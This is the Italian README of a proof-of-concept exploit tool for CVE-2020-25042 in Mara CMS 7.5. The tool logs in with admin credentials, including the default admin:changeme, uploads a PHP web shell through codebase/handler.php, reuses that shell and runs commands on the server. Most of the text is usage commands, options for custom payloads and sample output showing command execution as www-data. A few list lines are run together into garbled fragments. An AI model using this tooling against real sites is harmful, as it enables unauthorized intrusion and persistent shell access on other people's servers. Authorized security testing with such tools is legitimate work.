
PoC per CVE-2020-25042: upload PHP autenticato automatizzato su Mara CMS 7.5 fino a RCE, con gestione dell'hash di login, riutilizzo della shell, supporto per payload personalizzati e output CLI pulito.
Prova di concetto per CVE-2020-25042, un problema di caricamento arbitrario di file in contesto autenticato in Mara CMS 7.5 che può portare all'esecuzione remota di codice.
Lo script accede con un account admin/manager valido di Mara CMS, carica un payload PHP tramite codebase/handler.php ed esegue comandi attraverso il file caricato.
Riutilizza inoltre una shell esistente quando possibile, così non crei un nuovo file PHP a ogni esecuzione.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd tramite la shell caricata.Python 3.8+
pip install -r requirements.txt
Pacchetti Python richiesti:
requests
urllib3
I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Output di esempio:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
Per impostazione predefinita, lo script utilizza un nome di shell stabile:
mara-poc.php
All'esecuzione successiva, controlla:
http://target/cms/img/mara-poc.php
Se la shell risponde con il marcatore previsto, lo script salta login e upload:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
Per riutilizzare una shell creata con un nome casuale precedente:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
Puoi anche passare direttamente il percorso della shell esposta:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Carica il payload senza eseguire alcun comando:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme su installazioni di test non modificate.MARA_CVE_2020_25042_OK prima dell'output del comando.img/.--force-upload solo quando devi sovrascrivere o ricreare il payload.Questo PoC è pensato per test di sicurezza autorizzati, ambienti di laboratorio e verifica di vulnerabilità. Non usarlo contro sistemi senza autorizzazione esplicita.